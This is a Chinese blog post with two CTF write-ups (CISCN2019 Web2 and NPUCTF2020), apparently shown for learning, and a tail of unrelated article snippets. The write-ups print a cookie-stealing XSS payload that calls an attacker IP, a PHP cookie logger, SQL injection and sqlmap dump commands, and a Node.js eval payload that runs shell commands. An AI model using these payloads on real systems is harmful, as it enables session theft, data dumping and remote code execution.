当前位置: 首页 > news >正文

做网站开发需要什么/申请一个网站

做网站开发需要什么,申请一个网站,郑州做网站企起,商务网站建设实验[CISCN2019 华东北赛区]Web2 看wp写完之后写的 知识点 存储型XSS与过滤绕过sql注入 题解 好几个页面,存在登录框可以注册,存在管理员页面(admin.php) ->既然存在管理员页面,且直接访问admin.php提示我们 说明存在身份验证&#xff0…

[CISCN2019 华东北赛区]Web2

看wp写完之后写的

知识点
  • 存储型XSS与过滤绕过
  • sql注入
题解

好几个页面,存在登录框可以注册,存在管理员页面(admin.php)

->既然存在管理员页面,且直接访问admin.php提示我们

在这里插入图片描述

说明存在身份验证,我能够想到的只有Cookie和Session验证,那应该就是获取或者伪造了

->伪造:没有发现jwt格式或类似的数据,

->获取:能够想到的只有xss

根据投稿页面提示信息,更加明确就是xss了

在这里插入图片描述

也就是说,这里上传XSSpayload,然后去反馈页面,将上传到的网址提交一下,管理员会去访问 -> 从而获取管理员身份信息

-> 需要公网IP,存在Http服务

在这里插入图片描述

过滤了,将() -> (),看wp了,根本不会绕过 编码网址

1.在服务器网站下创建一个php文件,用来之后管理员的访问 -> 从而获取管理员Cookie

<?php$cookie = $_GET['cookie'];$time = date('Y-m-d h:i:s', time());$log = fopen("cookie.txt", "a");    # a模式是追加模式(在文件末尾添加内容)fwrite($log,$time.':    '. $cookie . "\n");fclose($log);
?>

这个php文件需要一个Get参数 -> 当我们传入document.cookie时,会获取自己访问该网站的Cookie

写入cookie.txt文件中

# Xsspayload
in_str = "(function(){location.href='http://IP/127.php?cookie='+document.cookie})();"output = ""# 绕过waf部分
for c in in_str:output += "&#" + str(ord(c))print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

可能有点乱,先后顺序过一遍

1.上传XssPayload -> 获取上传的网址

在这里插入图片描述

先别管waf部分,看in_str的内容 -> function(){}() js语言这个函数会自动调用, location.href 跳转命令

后面是 跳转到公网IP的php文件url,参数是cookie,值是document.cookie用来获取管理员Cookie值

上传的url:4b9efbd0-0a16-4dae-bbdd-16e9bdefe055.node5.buuoj.cn:81/post/02595e9379a689c1140ed4a2b3656700.html
这里要看一眼题目介绍,要将前面的改成web.node5.buuoj.cn

2.然后在反馈的地方输入url,让管理员去检查 -> 从而触发跳转 之后一系列 -> 致使管理员Cookie写入到cookie.txt文件中

这个验证码,写一个py脚本就行了,我直接复制的wp中的

import hashlibdef func(md5_val):for x in range(999999, 100000000):x = str(x).encode('UTF-8')md5_value = hashlib.md5(x).hexdigest()if md5_value[:6] == md5_val:return str(x)if __name__ == '__main__':print(func('277f26'))

3.获取Cookie之后访问admin.php之后的每一步,都要抓包修改Cookie或者其他修改Cookie的方式都可以

在这里插入图片描述

之后就是sql注入了[ 整数闭合注入 ] -> 唯一的一点就是每一次都要修改Cookie, 在Bp中直接发送的话, 又因为Get参数编码的问题,

->可以使用Postman

-2 union select 1,2,3#-2 union select 1,database(),user()#-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ciscn'#-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'#-2 union select 1,2,group_concat(flagg) from flag#

或者用sqlmap跑,指定一下Cookie参数

sqlmap -u 'http://4b9efbd0-0a16-4dae-bbdd-16e9bdefe055.node5.buuoj.cn:81/admin.php?id=1' --cookie='PHPSESSID=6acc57b9d1aa6f6e94a23ea4286a182e' -D "ciscn" -T "flag" --dump --batch

另外说一下,我看那个Xsspayload编码绕过,估计是通用的哎,只要将明文改一下,就跟着编码了( 我的payload用的是公网的,Wp中是Xss平台,不一样的,但是编码部分我没改,也能过)

wp

[NPUCTF2020]验证🐎

知识点
  • nodejs下的md5绕过
  • Nodejs下的RCE
题解

给出了源码, 主要看两部分

function saferEval(str) {if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {return null;}return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {if (req.body.e) {try {result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';# 来到这里, 进入safeEval函数, 绕过正则表达式, 执行eval函数}

Part1:满足if

nodejs中有类似于PHP的弱类型比较

在这里插入图片描述

在nodejs中数值类型没有长度,length只是一个属性

在这里插入图片描述

nodejs中任何数据类型与string类型相加时,都会强制转换为字符串类型

在这里插入图片描述

之前没写过nodejs代码,跟着练练

const crypto = require('crypto')var key = "abc"
var a1 = '1' + key[0]
var b1 = [1] + key[0]console.log(a1) # 1a
console.log(b1) # 1aconst hashA = crypto.createHash('md5')
hashA.update(a1)
const a = hashA.digest('hex')
console.log(a) # efaa153b0f682ae5170a3184fa0df28cconst hashB = crypto.createHash('md5')
hashB.update(b1)
const b = hashB.digest('hex')
console.log(b) # efaa153b0f682ae5170a3184fa0df28c

故Payload1:{“e”:paylod,“first”:[1],“second”:“1”}

Part2:绕过正则

第一步 - 分析正则:

我看不太懂,有些有特定的含义,一部分一部分复制到regx101中试试

/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g

1.(?:Math(?:\.\w+)?):匹配以Math.[0-9a-zA-Z_]

2.[()+\-*/&|^%<>=,?:]:这里是匹配其中任一的符号

3.(?:\d+\.?\d*(?:e\d+)?):数字 加 点 加数字 加e 加数字,在reg中试吧

4 :匹配空格

后面就是如何在绕过正则的基础上构造Poc - -包不会的,看wp

首先箭头函数

在这里插入图片描述

(Math=>( Math=Math.constructor, Math.x=Math.constructor( Math.fromCharCode( 114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41) )()))(Math+1)

上面这个js代码,我不知道是在干嘛,不清楚,但是能看到 construcor加上wp的说明,感觉是找到Function这个原型

个人理解:Math也是一个对象[满足正则] -> 找到Function原型 -> 从而调用命令函数

(Math=>( Math=Math.constructor, Math.x=Math.constructor( Math.fromCharCode("return process.mainModule.require('child_process').execSync('cat /flag')")) )() )(Math+1)
#Exp.py
import re 
encode = lambda code: list(map(ord,code)) 
#decode = lambda code: "".join(map(chr,code)) 
a=f""" 
(m0=>( m0=m0.constructor, m0.x=m0.constructor( m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")}) )() ))(Math+1) 
""" 
print(a+'\n') 
a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math") 
print(a)
#需要json格式发送 --- 使用python发送requests请求import requestsurl = 'http://4b041973-c5be-4195-b945-33b5fd95126f.node5.buuoj.cn:81/'
json = {"e":'(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)',"first":[1],"second":'1'}res = requests.post(url=url, json=json)
print(res.text)
参考

wp

相关文章:

9.26 Buu俩题解

[CISCN2019 华东北赛区]Web2 看wp写完之后写的 知识点 存储型XSS与过滤绕过sql注入 题解 好几个页面&#xff0c;存在登录框可以注册&#xff0c;存在管理员页面(admin.php) ->既然存在管理员页面&#xff0c;且直接访问admin.php提示我们 说明存在身份验证&#xff0…...

Mitsuba 渲染基础

Mitsuba 渲染基础 0. Abstract1. 安装 Mitsuba21.1 下载 Mitsuba2 源码1.2 选择后端 (variants)1.3 编译 2. [Mitsuba2PointCloudRenderer](https://github.com/tolgabirdal/Mitsuba2PointCloudRenderer)2.1 Mitsuba2 渲染 XML2.2 Scene 场景的 XML 文件格式2.2.1 chair.npy to…...

深入理解 WebSocket:实时通信的利器

深入理解 WebSocket&#xff1a;实时通信的利器 1. 什么是 WebSocket&#xff1f; WebSocket 是一种网络通信协议&#xff0c;它允许服务器和客户端之间建立持久的双向通信通道&#xff0c;适用于高频率、低延迟的数据交换场景。在传统的 HTTP 通信中&#xff0c;每次请求都需…...

OpenEuler配置本地yum源

0x00 服务器版本 将本地镜像传输至服务器 操作步骤如下 # 创建一个目录用于挂载光盘映像 mkdir /media/cdrom/# 将光盘映像挂载到指定目录 mount /kvm/openeuler.iso /media/cdrom/#进入Yum仓库配置目录 cd /etc/yum.repos.d/# 备份原有的 openEuler.repo 文件 mv openEuler.…...

论文不同写作风格下的ChatGPT提示词分享

学境思源&#xff0c;一键生成论文初稿&#xff1a; AcademicIdeas - 学境思源AI论文写作 在学术论文写作中&#xff0c;不同的写作风格能显著影响文章的表达效果与读者的理解。无论是描述性、分析性、论证性&#xff0c;还是批判性写作风格&#xff0c;合理选择和运用恰当的写…...

单点登录(SSO)基础

单点登录&#xff08;SSO, Single Sign-On&#xff09; 是一种身份认证机制&#xff0c;允许用户在多个独立的应用系统中只进行一次登录操作&#xff0c;即可访问所有授权的应用或服务&#xff0c;而无需每次切换应用时都进行登录。SSO 提高了用户体验的便捷性&#xff0c;同时…...

设置VsCode搜索时排除文件,文件列表中隐藏文件

按照《VsCode gdb gdbserver远程调试C程序》中介绍的方法&#xff0c;配置好VsCode后&#xff0c;打开一个C/C工程&#xff0c;发现左侧的面板会显示编译时生成的中间文件&#xff08;比如.d和.o文件&#xff09;。我们可以通过设置隐藏掉一些我们不需要打开的文件以简洁面板…...

急!现在转大模型还来得及吗?零基础入门到精通,收藏这一篇就够了

大模型的出现&#xff0c;让行内和行外大多数人都感到非常焦虑。 行外很多人想了解却感到无从下手&#xff0c;行内很多人苦于没有硬件条件无法尝试。想转大模型方向&#xff0c;相关的招聘虽然层出不穷&#xff0c;但一般都要求有大模型经验。而更多的人&#xff0c;则一直处…...

使用 lstm + crf 实现NER

条件随机场CRF 前言 CRF是给定一组输入随机变量条件下另一组输出随机变量的条件概率分布的模型。特点&#xff1a;假设输出随机变量构成马尔卡夫随机场。CRF可以用于不同的预测问题。但是主要讨论线性链条件随机场&#xff0c;这时问题变成了由输入序列对输出序列的判别模型&…...

【牛掰】这款RPA多平台引流获客软件已正式上线,助您日引流1000+

哈喽大家好我是年哥&#xff0c;自从上次与大家团购了那款基于autojs开发的RPA引流获客的源码&#xff0c;经过本缝合怪不断地修修补补&#xff0c;终于将它变成自己的了&#xff0c;还为它起了个魔幻的名字&#xff1a;获客宝RPA。尽管部分功能还有点瑕疵&#xff0c;但是不管…...

Python的包管理工具pip安装

Python的包管理工具pip安装 一、安装步骤1.检查 pip是否已安装2.安装 pip方法一&#xff1a;通过 ​ensurepip​ 模块安装(推荐)方法二&#xff1a;通过 ​get-pip.py​ 脚本安装&#xff08;经常应为网络域名问题连接不上&#xff09; 3.验证pip安装4.创建别名5.更新pip 二、常…...

《AIGC 时代程序员的应对之策》

在 AIGC 大语言模型不断涌现、AI 辅助编程工具日益普及的当下&#xff0c;程序员的工作方式确实面临着深刻变革。对于程序员来说&#xff0c;如何应对这一趋势成为了至关重要的问题。 一方面&#xff0c;有人担忧 AI 可能取代部分编程工作。不可否认&#xff0c;随着技术的发展…...

51单片机系列-串口(UART)通信技术

&#x1f308;个人主页&#xff1a; 羽晨同学 &#x1f4ab;个人格言:“成为自己未来的主人~” 并行通信和串行通信 并行方式 并行方式&#xff1a;数据的各位用多条数据线同时发送或者同时接收 并行通信特点&#xff1a;传送速度快&#xff0c;但因需要多根传输线&#xf…...

使用k8s部署java前后端服务

一、项目架构 前端、后端、数据库 1&#xff09;前端 静态的资源&#xff1a;img css html js文件 js&#xff1a;axios、ajax 2&#xff09;后端 提供数据&#xff1a;根据web前端发送的请求&#xff0c;从数据库中获取数据 请求都是无状态的&#xff0c;如何保持会话 …...

使用docker创建zabbix服务器

首先保证服务器已正常安装docker&#xff0c;然后执行下面这几个容器创建命令&#xff1a; #创建MySQL容器 docker run --name mysql-server -t --restartunless-stopped -e MYSQL_DATABASE"zabbix" -e MYSQL_USER"zabbix" -e MYSQL_PASSWORD"zabbix_…...

nodejs 016: javascript语法——解构赋值({ a, b, c } = {})=>{console.log(“Hello“);}

在 JavaScript 中&#xff0c;函数参数 { a, b, c } {} 的含义是在函数定义时提供一个默认的对象参数。这个对象包含了三个可选的属性 a, b, 和 c。如果没有传递参数或者传递的参数是一个非对象类型的值&#xff0c;那么函数内部将使用一个空对象 {} 作为参数。 示例 const …...

【人人都能看懂的大模型原理】(一)

前言 当前大模型的学习资源呈现爆发趋势&#xff0c;各种角色的人都用自己的视角参与到大模型的讨论。但是我发现这些学习资源都有几个特点&#xff1a;只摆事实而不讲道理&#xff1b;只讲应用可能而不提实现代价&#xff1b;只讲可能性而缺乏实操经验分享&#xff1b;洞察材…...

JMeter源码解析之JMeter命令行新增命令

JMeter源码解析之JMeter命令行新增命令 需求描述 需要新增一条命令&#xff0c;能够在JMeter命令行中能够展示输入对应的JMeter命令&#xff0c;能够展示对应的命令信息 查看命令效果如下&#xff1a; apache-jmeter-5.1\bin>jmeter --? Copyright © 1999-2024 The …...

YOLOv8 Windows c++推理

#添加一个**yolov8\_。onx **和/或**yolov5\_。Onnx **模型(s)到ultralytics文件夹。 #编辑**main.cpp**来改变**projectBasePath**来匹配你的用户。#请注意&#xff0c;默认情况下&#xff0c;CMake文件将尝试导入CUDA库以与opencv dnn (cuDNN) GPU推理一起使用。 #如果你的Op…...

一文读懂Python中的Popen函数

目录 1. 基本知识2. Demo 1. 基本知识 在Python中&#xff0c;Popen 是 subprocess 模块中的一个函数&#xff0c;它用于创建一个子进程并与其进行通信 subprocess.Popen()&#xff1a;Popen 类用于创建和管理子进程 与 os.system() 或 os.popen() 相比&#xff0c;Popen 提供…...

07-阿里云镜像仓库

07-阿里云镜像仓库 注册阿里云 先注册一个阿里云账号&#xff1a;https://www.aliyun.com/ 进入容器镜像服务控制台 工作台》容器》容器服务》容器镜像服务 实例列表》个人实例 仓库管理》镜像仓库》命名空间》创建命名空间 仓库管理》镜像仓库》镜像仓库》创建镜像仓库 使…...

net core mvc 数据绑定 《2》

mvc core 模型绑定 控制绑定名称 》》》Bind 属性可以用来指定 模型应该 绑定的前缀 public class MyController : Controller {[HttpPost]public ActionResult Create([Bind(Prefix "MyModel")] Ilist<MyModel> model){// 模型绑定将尝试从请求的表单数据中…...

文件服务器FastDFS 消息队列中间件RabbitMQ

新标签页 (chinaunix.net) FastDFS - Browse Files at SourceForge.net 一、FastDFS Tracker和Storage&#xff1a; tracker用来管理所有的storage&#xff0c;只是管理服务器&#xff0c;负责负载均衡。 storage是存储服务器&#xff0c;每一个storage服务器都是一个单独的个…...

工作纪实58-Idea打jar包

有时候需要配合算法使用spark定时DP&#xff0c;调用java相关的jar包做数据处理 idea打jar包有以下三种场景 SpringBoot的Maven项目【Maven打包即可】非SpringBoot的Maven项目【添加maven打包参数&#xff0c;使用Maven打包】 借助maven的配置进行打包&#xff0c;新增以下配置…...

ELK-03-skywalking监控linux系统

文章目录 前言一、下载node_exporter二、启动node_exporter三、下载OpenTelemetry Collector四、启动OpenTelemetry Collector4.1 将配置文件下载到同级目录4.2 启动 五、查看总结 前言 skywalking安装完成后&#xff0c;开始我们的第一个监控-监控linux系统。 参考官方文档&a…...

HEITRONICS TC13红外辐射高温计CT13 INFRARED RADIATION PYROMETER CT13

HEITRONICS TC13红外辐射高温计CT13 INFRARED RADIATION PYROMETER CT13...

开源图像降噪算法与项目介绍【持续更新】

Intel Open Image Denoise 介绍&#xff1a;Intel Open Image Denoise&#xff08;OIDN&#xff09;是一个开源库&#xff0c;它提供了一系列高性能、高质量的去噪滤镜&#xff0c;专门用于光线追踪渲染的图像。这个库是Intel Rendering Toolkit的一部分&#xff0c;并且是在宽…...

RealSense、ZED 和奥比中光Astra几款主流相机介绍及应用

以下是英特尔 RealSense、Stereolabs ZED 和奥比中光Astra几款相机的详细对比&#xff0c;包括参数、性能以及二次开发等支持&#xff0c;附带代码示例。 详细信息对比和二次开发示例 1. 英特尔 RealSense (例如 D435/D455) 深度技术&#xff1a;立体视觉 红外投影分辨率&a…...

启动 Ntopng 服务前需先启动 redis 服务及 Ntopng 常用参数介绍

启动Ntopng服务之前需要先启动redis服务&#xff0c;因为Ntopng服务依赖于redis服务的键值存储。 服务重启 服务启动 Ntopng常用参数&#xff1a; -d 将 Ntopng 进程放入后台执行。默认情况下&#xff0c;Ntop 在前台运行。 -u 指定启动Ntopng执行的用户&#xff0c;默认为…...

vector的模拟实现以及oj题(2)

前言 上篇博客介绍了大部分vector的接口&#xff0c;其中包括begin()、end()、const begin()、 const end()、size、capacity、reserve、empty、push_back、pop_back、insert、operator[]&#xff0c;这篇博客将介绍剩下的部分接口&#xff0c;以及一些oj题解法和思路。 vect…...